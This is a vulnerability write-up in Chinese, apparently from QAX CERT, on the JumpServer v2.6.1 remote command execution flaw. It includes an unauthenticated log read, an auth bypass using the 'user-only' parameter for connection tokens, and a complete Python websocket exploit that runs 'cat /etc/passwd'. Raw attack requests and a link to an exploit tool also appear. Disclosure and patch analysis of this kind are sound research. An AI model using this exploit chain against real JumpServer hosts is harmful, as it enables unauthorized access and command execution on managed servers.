作者:Veraxy@QAX CERT
原文鏈接:https://mp.weixin.qq.com/s/lbcYzNsiOYZRwQzAIYxg3g

作為國內開源堡壘機的中流砥柱,前段時間JumpServer爆出了遠程命令執行漏洞,掀起了不小的熱度,很多小伙伴看過網上的分析文章之后仍舊一知半解,本文帶大家一起做深入分析,研究各個點之間的關聯和原理,同時補充相關知識點,幫助大家理清楚這個洞,從而可以思考如何利用,文末附漏洞利用工具。如有不足之處,歡迎批評指正。

0x01產品了解

Jumpserver 是一款由python編寫開源的跳板機(堡壘機)系統,實現了跳板機應有的功能,基于ssh協議來管理,客戶端無需安裝agent。

https://github.com/jumpserver/jumpserver

主要包含四個項目組件,分別是Lina、Luna、Koko、Guacamole。其中Koko 是Go版本的coco,提供了 SSH、SFTP、web terminal、web文件管理功能。

圖片

Jumpserver部署

https://github.com/jumpserver/installer

下載安裝包

# git clone https://github.com/jumpserver/installer.git
# cd installer?

國內docker源加速安裝

# export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn
# ./jmsctl.sh install

升級到指定版本

# ./jmsctl.sh upgrade v2.6.1

啟動服務

#?./jmsctl.sh start
#?./jmsctl.sh restart

圖片

環境配置

Jumpserver v2.6.1版本,訪問服務正常,默認管理員賬戶admin/admin,初次登錄須改密碼。

圖片

1.添加管理用戶。

資產管理里面的"管理用戶"是jumpserver用來管理資產需要的服務賬戶,Jumpserver使用該用戶來 '推送系統用戶'、'獲取資產硬件信息'等。

圖片

2.“資產列表”中添加資產

圖片

測試資產可連接性,保證資產存活

圖片

圖片

3.創建系統用戶

系統用戶是 Jumpserver 跳轉登錄資產時使用的用戶,可以理解為登錄資產的用戶。

圖片

配置“登錄方式”為自動登錄

圖片

4.創建資產授權

圖片

5.使用“Web終端”連接資產

為保證漏洞復現順利進行,需要在Web終端中連接某資產。

圖片

Web終端以root用戶名登錄機器。

若配置的登錄模式為“手動登錄”,所以需要輸入密碼進行連接。

圖片

"自動登錄"則可調用系統預留密碼直接連接。

圖片

0x02漏洞利用

日志文件讀取

系統中/ws/ops/tasks/log/接口無身份校驗,可直接與其建立websocket連接,當為“task”參數賦值為具體文件路徑時,可獲取其文件內容。系統接收文件名后會自動添加.log后綴,所以只能讀取.log類型的日志文件。

默認/opt/jumpserver/logs/ 下存放日志文件,包含jumpserver.log、gunicorn.log、dapgne.log等。

圖片

gunicorn是常用的WSGI容器之一,用來處理Web框架和Web服務器之間的通信,gunicorn.log是API調用歷史記錄比較全的日志文件。

利用/ws/ops/tasks/log/接口查看/opt/jumpserver/logs/gunicorn.log文件內容,由于系統會自動添加.log后綴,故無須添加文件后綴,目標路徑為 "/opt/jumpserver/logs/gunicorn" 即可。

ws://192.168.18.182:8080/ws/ops/tasks/log/
{"task":"/opt/jumpserver/logs/gunicorn"}

圖片

在日志中尋找有用數據,其中/api/v1/perms/asset-permissions/user/validate接口的請求記錄值得注意,這個API是用來驗證用戶的資產控制權限的。由于web終端連接資產時會對用戶所屬資產權限進行校驗,調用了這個接口,故會留下日志記錄。其中asset_id、system_user_id、user_id參數值可以被利用。

asset_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f
system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
user_id=f26371c9-18c3-4c4e-979f-95d34ffdb911

認證繞過+獲取token

/api/v1/authentication/connection-token/接口和/api/v1/users/connection-token/接口均可通過user-only參數繞過權限認證。

兩接口對數據的處理邏輯一致,其中post請求處理函數要求data數據中攜帶"user"、"asset"、"system_user"參數,同時系統自動生成一個20s有效期的token,收到合法請求會將這個token返回。

圖片

上文從日志中獲取到的三個參數值可以用在這里,分別賦值給post請求要求的data中的"user"、"asset"、"system_user"參數,同時在URL中添加user-only參數來繞過認證,最終獲得一個20s有效期的token。

POST /api/v1/authentication/connection-token/?user-only=Veraxy HTTP/1.1
Host: 192.168.18.182:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: csrftoken=GsRQYej2Fr3uk3xU9OPfZREl8Wn7xCXPqLSWQGIILIk7uz7izdqojUgYQ5UhG04j; jms_current_role=146; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
user=f26371c9-18c3-4c4e-979f-95d34ffdb911&asset=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&system_user=a893cb8f-26f7-41a8-a983-1de24e7c3d73

圖片

上圖請求接口替換成/api/v1/users/connection-token/達到的目的一樣

圖片

遠程命令執行

系統/koko/ws/token/接口要求"target_id"參數,攜帶合法"target_id"參數即可利用該接口建立TTY通信。

圖片

上文通過/api/v1/authentication/connection-token/接口獲得的20s有效期的token可作為/koko/ws/token/接口的有效"target_id"參數值,從而建立websocket會話。

ws://192.168.18.182:8080/koko/ws/token/?target_id=0a14ec3d-312f-44e0-8224-da1a4151f32e

圖片

借助腳本進行websocket通信

import asyncio
import websockets
import requests
import json
url = "/api/v1/authentication/connection-token/?user-only=None"
# 向服務器端發送認證后的消息
async def send_msg(websocket,_text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)
    recv_text = await websocket.recv()
    print(f"{recv_text}")
# 客戶端主邏輯
async def main_logic(cmd):
    print("###start ws")
    async with websockets.connect(target) as websocket:
        recv_text = await websocket.recv()
        print(f"{recv_text}")
        resws=json.loads(recv_text)
        id = resws['id']
        print("get ws id:"+id)
        print("#######1########")
        print("init ws")
        print("#######2########")
        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":234,\"rows\":13 }"})
        await send_msg(websocket,inittext)
        print("########3#######")
        print("exec cmd: ls")
        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
        print(cmdtext)
        await send_msg(websocket, cmdtext)
        for i in range(20):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print('###finish')
if __name__ == '__main__':
    host = "http://192.168.18.182:8080"
    cmd="cat /etc/passwd"
    if host[-1]=='/':
        host=host[:-1]
    print(host)
    data = {"user": "f26371c9-18c3-4c4e-979f-95d34ffdb911", "asset": "fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f",
            "system_user": "a893cb8f-26f7-41a8-a983-1de24e7c3d73"}
    print("##################")
    print("get token url:%s" % (host + url,))
    print("##################")
    res = requests.post(host + url, json=data)
    token = res.json()["token"]
    print("token:%s", (token,))
    print("##################")
    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
    print("target ws:%s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic(cmd)

成功執行 "cat /etc/passwd" 命令

圖片

利用條件

1.web終端登錄方式為免密自動連接。

若配置為需要輸入密碼的手動登錄,只有在攻擊者已知目標資產登錄密碼(不現實),或此時系統用戶與目標資產的會話連接未中斷,從而讓攻擊者有機會復用SSH會話,漏洞利用成功,顯然這種配置下漏洞利用大多失敗。

圖片

當系統用戶退出登錄,由于沒有可復用會話了,系統要求重新輸入密碼,否則無法建立連接。漏洞利用失敗。

圖片

只有在系統用戶登錄模式配置為“自動登錄”,即系統用戶使用web終端操作時資產無須輸入密碼

,可直接建立連接(某些情況下需要“自動推送”系統用戶至資產才能實現免密連接),這種配置下,該漏洞才可被攻擊者穩定利用。

開啟自動登錄和自動推送。

如果選擇了自動推送, Jumpserver 會使用 Ansible 自動推送系統用戶到資產中。

圖片

此時連接web終端不需要輸入密碼了,直接利用系統用戶預存的密碼建立連接。

圖片

這時我中斷會話,再次測試,成功執行命令,此時不是復用SSH連接,而是直接連接,建立會話,從而執行命令。

圖片

jumpserver通常的配置都是自動登錄的,這一條件容易滿足。

2.系統用戶在web終端與目標資產建立過連接。

只有系統用戶在web終端訪問過目標資產,才能在日志中留下訪問記錄,我們與目標建立連接的必要參數均在日志中獲取。

3.系統日志路徑已知

系統日志路徑默認為/opt/jumpserver/logs,一些項目刻意修改日志路徑會使得漏洞難以利用。

攻擊流程回顧

1.未授權的情況下通過 /ws/ops/tasks/log/ 接口建立websocket連接,讀取日志文件

2.在日志文件中獲取到用戶、資產字段值、系統用戶(user_id、asset_id、system_user_id)

3.攜帶這三個字段對 /api/v1/authentication/connection-token/ 或/api/v1/users/connection-token/接口發起POST請求(同時借助user-only參數繞過認證),得到一個20S有效期的token

4.通過該token與/koko/ws/token/接口建立websocket連接,模擬Web終端通信,執行命令。

圖片

0x03漏洞分析

日志文件讀取

讀取日志文件的接口為ws/ops/tasks/log/

圖片

分析apps/ops/ws.py#CeleryLogWebsocket,connect()方法定義該接口直接連接,無認證

圖片

receive()方法要求請求data要攜帶task參數,隨后會將“task”值傳給handle_task()

圖片

self.handle_task(task_id)

-->self.read_log_file(self,task_id)

-->self.wait_util_log_path_exist(task_id)

--> get_celery_task_log_path(task_id),獲取目標文件路徑的方法,系統自動為路徑末尾添加.log后綴,也就是只能讀取到日志文件。

這里也是“task”參數值中的文件路徑無須攜帶.log后綴的原因。

圖片

當系統連接資產時,會調用 validatePermission() 方法檢查用戶是否有權限連接,通過三個參數進行校驗,分別為用戶ID、資產ID、系統用戶ID,三個參數值長期有效,可被進一步利用。

圖片

圖片

對應的接口是/api/v1/perms/asset-permissions/user/validate,請求記錄均可在日志文件中找到

圖片

繞過身份驗證獲取token

apps/authentication/api/auth.py,請求url中存在'user-only'參數且有值,則其權限為AllowAny,即允許訪問。

圖片

分析apps/authentication/api/auth.py#UserConnectionTokenApi類,可處理get、post請求。

get請求處理函數取URL中"token"和"user-only"參數,合法請求會根據token返回user信息。

圖片

post請求處理函數要求data數據中攜帶"user"、"asset"、"system_user"參數,同時系統自動生成一個20s有效期的token,合法請求會將這個token返回。

圖片

apps/authentication/api/auth.py#UserConnectionTokenApi類有哪些地方使用,共兩處

圖片

剛好是官方公布的接口,這兩個接口數據處理邏輯一致,所以利用的時候兩者均可得到token。

/api/v1/authentication/connection-token/
/api/v1/users/connection-token/

Web Terminal 前端項目 luna/src/app/services/http.ts 中有對/api/v1/users/connection-token/接口的Get請求代碼,這里攜帶不為空的user-only參數,是為了獲取token對應的用戶身份所有信息而不是單個字段。 https://github.com/jumpserver/luna/blob/6e1f04901ecc466a9412ca995810595497e93625/src/app/services/http.ts

圖片

websocket建立TTY終端會話

這個漏洞是通過websocket通信建立TTY終端,從而執行命令。

JumpServer中KoKo項目提供 Web Terminal 服務,分析系統中可建立TTY會話的幾種方式。

https://github.com/jumpserver/koko

建立TTY會話主要通過koko/pkg/httpd/webserver.go中runTTY() 實現

圖片

只有兩個接口可以進入runTTY()方法,分別是processTerminalWebsocket和processTokenWebsocket方法

圖片

對應API為/koko/ws/terminal/ 和 /koko/ws/token/ ,接口handler位于koko/pkg/httpd/webserver.go#websocketHandlers()

圖片

/koko/ws/terminal/

系統中通過“會話管理”下“web終端”功能連接資產時,使用的是 /koko/ws/terminal/ 接口

圖片

ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73

進行websocket通信

圖片

processTerminalWebsocket函數處理 /koko/ws/terminal/ 接口,要通過這個接口成功登錄控制臺需要一些必備參數,包括type、target_id、system_user_id,其中target_id為目標資產ID,system_user_id表示系統用戶id。

注意:/koko/ws/terminal/ 接口的target_id與/koko/ws/token/ 接口的target_id雖然參數名一樣,但卻是兩個完全不同的東西。

圖片

系統對 /koko/ws/terminal/ 接口通過?middleSessionAuth() 進行會話合法校驗。

注意到 /koko/ws/token/ 接口卻是無此類限制的。

圖片

/koko/ws/token/

/koko/ws/token/ 接口的處理函數位于koko/pkg/httpd/webserver.go#processTokenWebsocket,要求get請求攜帶“target_id”參數,系統會將該參數傳遞給 service.GetTokenAsset() 方法,獲取token對應的user,從而建立TTY會話。

圖片

發現 GetTokenAsset() 是將“/api/v1/authentication/connection-token/?token=”與token值進行拼接,并發起Get請求,來獲取用戶身份的。

圖片

圖片

上文分析過 /api/v1/authentication/connection-token/ 接口,Get請求處理函數中定義,若僅攜帶有效token,則返回該用戶所有信息,若同時攜帶token和不為None的user-only,則返回用戶信息中的'user'字段值。

圖片

本次通信則是僅攜帶有效token,從而獲取該用戶所有身份信息。

圖片

綜上,一個有效的“target_id”即可調用/koko/ws/token/ 接口進行websoket通信,從而建立TTY會話。

ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d
{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"CONNECT","data":""}
{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"TERMINAL_INIT","data":"{\"cols\":140,\"rows\":6}"}

圖片

而這個有效的“target_id”則通過上一章節“身份驗證繞過”中分析的 /api/v1/authentication/connection-token/ 或 /api/v1/users/connection-token/接口來獲得,需要在20s有效期內將token替換為target_id參數值來使用。

補丁分析

漏洞整體分析下來,最關鍵的幾個點,身份驗證繞過以及websocket通信接口無校驗,官方發布的新版本對其進行修復。

https://github.com/jumpserver/jumpserver/commit/82077a3ae1d5f20a99e83d1ccf19d683ed3af71e

圖片

0x04關于websocket

WebSocket 協議誕生于 2008 年,在 2011 年成為國際標準,WebSocket 同樣是 HTML 5 規范的組成部分之一。

HTTP 協議是半雙工協議,也就是說在同一時間點只能處理一個方向的數據傳輸,通信只能由客戶端發起,屬于單向傳輸,一般通過 Cookie 使客戶端保持某種狀態,以便服務器可以識別客戶端。

WebSocket的出現,使得瀏覽器和服務器之間可以建立無限制的全雙工通信。WebSocket 協議是全雙工的,客戶端會先發起請求建立連接,若服務器接受了此請求,則將建立雙向通信,然后服務器和客戶端就可以進行信息交互了,直到客戶端或服務器發送消息將其關閉為止。

WebSocket特點:

1.默認端口是80和443,并且握手階段采用 HTTP 協議,因此握手時不容易屏蔽,能通過各種 HTTP 代理服務器。

2.可以發送文本,也可以發送二進制數據。

3.沒有同源限制,客戶端可以與任意服務器通信。

4.協議標識符是ws(如果加密,則為wss)

WebSocket通信

WebSocket并不是全新的協議,而是利用了HTTP協議來建立連接。

圖片

建立連接

客戶端請求報文:

GET / HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Host: example.com
Origin: http://example.com
Sec-WebSocket-Key: sN9cRrP/n9NdMgdcy2VJFQ==
Sec-WebSocket-Version: 13

Connection、Upgrade字段聲明需要切換協議為websocket
Sec-WebSocket-Key是由瀏覽器隨機生成的,提供基本的防護,防止惡意或者無意的連接。
Sec-WebSocket-Version表示 WebSocket 的版本,如果服務端不支持該版本,需要返回一個Sec-WebSocket-Versionheader,里面包含服務端支持的版本號。

服務端的響應報文:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
Sec-WebSocket-Protocol: chat

Upgrade消息頭通知客戶端確認切換協議來完成這個請求;

Sec-WebSocket-Accept是經過服務器確認,并且加密過后的Sec-WebSocket-Key;

Sec-WebSocket-Protocol則是表示最終使用的協議。

注意:Sec-WebSocket-Key/Sec-WebSocket-Accept的換算,其實并沒有實際性的安全保障。

進行通信

服務端接收到客戶端發來的Websocket報文需要進行解析。

數據包格式

圖片

Mask位表示是否要對數據載荷進行掩碼異或操作。

Payload length表示數據載荷的長度。

Masking-key數據掩碼,為防止早期版本的協議中存在的代理緩存污染攻擊等問題而存在。

Payload Data為載荷數據。

服務端返回數據時不攜帶掩碼,所以 Mask 位為 0,再按載荷數據的大小寫入長度,最后寫入載荷數據。

心跳

WebSocket為了保持客戶端、服務端的實時雙向通信,需要確保客戶端、服務端之間的TCP通道沒有斷開。對于長時間沒有數據往來的通道,但仍需要保持連接,可采用心跳來實現。

發送方->接收方:ping

接收方->發送方:pong

ping、pong的操作,對應的是WebSocket的兩個控制幀,opcode分別是0x9、0xA。

關閉連接

關閉連接標志著服務器和客戶端之間的通信結束,標記通信結束后,服務器和客戶端之間無法進一步傳輸消息。

Web Terminal實現

通常所說的Terminal是指的終端模擬器,一般情況下終端模擬器是不會直接與shell通訊的,而是通過pty(Pseudoterminal,偽終端)來實現,pty 是一對 master-slave 設備。

終端模擬器通過文件讀寫流與 pyt master通訊,pty master再將字符輸入傳送給pty slave,pty slave進一步傳遞給bash執行。

Web Terminal則是實現在瀏覽器展示的終端模擬器,前后端建立WebSocket連接,保證瀏覽器和后端實時通信。

實現思路:

1.瀏覽器將主機信息傳給后臺, 并通過HTTP請求與后臺協商升級協議,協議升級完成后, 得到一個和瀏覽器的web Socket連接通道
2.后臺拿到主機信息, 創建一個SSH 客戶端, 與遠程主機的SSH 服務端協商加密, 互相認證, 然后建立一個SSH Channel
3.后臺和遠程主機有了通訊的信道,然后后臺攜帶終端信息通過SSH Channel請求遠程主機創建一對 pty, 并請求啟動當前用戶的默認 shell
4.后臺通過 Socket連接通道拿到用戶輸入, 再通過SSH Channel將輸入傳給pty,pty將這些數據交給遠程主機處理后,按照前面指定的終端標準輸出到SSH Channel中, 同時鍵盤輸入也會通過SSH Channel發送給遠程服務端。
5.后臺從SSH Channel中拿到按照終端大小的標準輸出,通過Socket通信將輸出返回給瀏覽器,由此實現了Web Terminal

圖片

JumpServer中websocket通信基于https://github.com/gorilla/websocket項目實現,Web Terminal功能實現思路與上文描述基本一致,這里簡述瀏覽器與后端進行websocket通信流程。

圖片

攜帶多個參數對 /koko/ws/terminal/ 接口發起Get請求,初次握手,提出Upgrade為Websocket協議

GET ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73 HTTP/1.1
Host: 192.168.18.182:8080
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Upgrade: websocket
Origin: http://192.168.18.182:8080
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: csrftoken=0ZhWpozQIlm3fpJZRKP0vWcEm32JOlSSbtTBYmqlnHgrSwlMgXdJW0hnx4qJrT5s; sessionid=lbfnuoizl0mnixrwyo036ze65z7vfip0; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D; X-JMS-ORG=DEFAULT; jms_current_role=146
Sec-WebSocket-Key: Cuf/c4n9TH20PU4HpCP4qQ==
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Sec-WebSocket-Protocol: JMS-KOKO

服務端識別有效字段,回應握手請求,同意upgrade為websocket協議,允許后續進行socket通信。

HTTP/1.1 101 Switching Protocols
Server: nginx
Date: Mon, 01 Feb 2021 17:29:47 GMT
Connection: upgrade
Upgrade: websocket
Sec-WebSocket-Accept: zdg0gD/H5Ev4u9hn5oIxlSVdvDg=
Sec-WebSocket-Protocol: JMS-KOKO

注意到使用web終端功能時,系統主要發起兩個請求,分別是

ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
http://192.168.18.182:8080/koko/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73

圖片

實際進行sokcet通信的是/koko/ws/terminal/接口,/koko/terminal/接口是協調處理sokcet通信輸入輸出的數據,將結果與前端融合并展示給用戶,提供一個可視終端的效果。

圖片

Websocket認證

即使用戶經過了系統的認證,當與WebSocket接口進行socket連接時,同樣需要再次認證。

一般Websocket的身份認證都是發生在握手階段,客戶端向驗證請求中的內容,只允許經過身份驗證的用戶建立成功的Websocket連接。

可以通過基于cookie的傳統方式,或基于Token的方式進行認證。

采用這種方式,應用本身的認證和提供WebSocket的服務,可以是同一套session cookie的管理機制,也可以WebSocket服務接口自己來維護基于cookie的認證。

Jumpserver系統Web終端的功能,調用的/koko/ws/terminal/接口就是采用這種方式。

ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73

圖片

請求URL中攜帶的參數值 target_id、type、system_user_id 基本長期復用,接口主要依靠建立會話傳送的Cookie來識別身份,這里的session cookie的管理機制與系統是共享的。

基于Token的方式

當客戶端要與接口建立連接時,向http服務獲取token,客戶端作為初始握手的一部分攜帶有效token打開websocket連接,服務端驗證token有效性合法性,認證通過則同意建立websocket會話連接。

漏洞執行命令利用的/koko/ws/token/接口采用的就是基于token方式進行認證

ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d

接口取target_id參數值,識別參數值有效性及對應用戶身份,認證通過則同意建立websocket連接。 圖片

認證方式對比

傳統基于cookie的方式,若websocket接口與系統協調同一種共享的認證方式,造成websocket服務與應用服務的耦合性大,依賴性強。若websocket服務自己維護基于cookie的認證,它只是一個解決通信連接的服務,為此付出成本不小。綜上,還是采用基于token的認證方式更加高效。

采用基于token的認證方式則需要考慮提供token服務的API安全性,如本文分析的漏洞,提供token的/connection-token接口存在認證繞過問題,攻擊者通過繞過/connection-token接口的身份驗證,獲取token,在有效時間內可與目標建立websocket連接。

0x05利用工具

編寫思路

1.讀取日志

根據上文漏洞利用的流程,需要先通過未授權的/ws/ops/tasks/log/接口讀取日志文件/opt/jumpserver/logs/gunicorn.log ,其中包含大量的接口請求記錄,我們需要提取/api/v1/perms/asset-permissions/user/validate/ 接口信息。

圖片

2.篩選可用資產

日志文件中提取出的數據為歷史連接記錄,但不一定可以被利用,需要對其進行連接測試,篩選出可被利用的資產。

圖片

3.執行命令

在可用資產列表中選擇目標進行攻擊,執行指定命令。

圖片

更多細節請移步:https://github.com/Veraxy00/Jumpserver-EXP

總結

1.通過未授權的 /ws/ops/tasks/log/ 接口讀取日志文件,我們僅篩選了部分接口信息,日志中包含大量數據,還有更多利用價值。
2.官方給出的漏洞影響版本不準確,部分版本由于接口認證方式問題不可被利用。
3.根據實際場景不同,漏洞利用工具還須繼續改進,歡迎提出改進建議。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1502/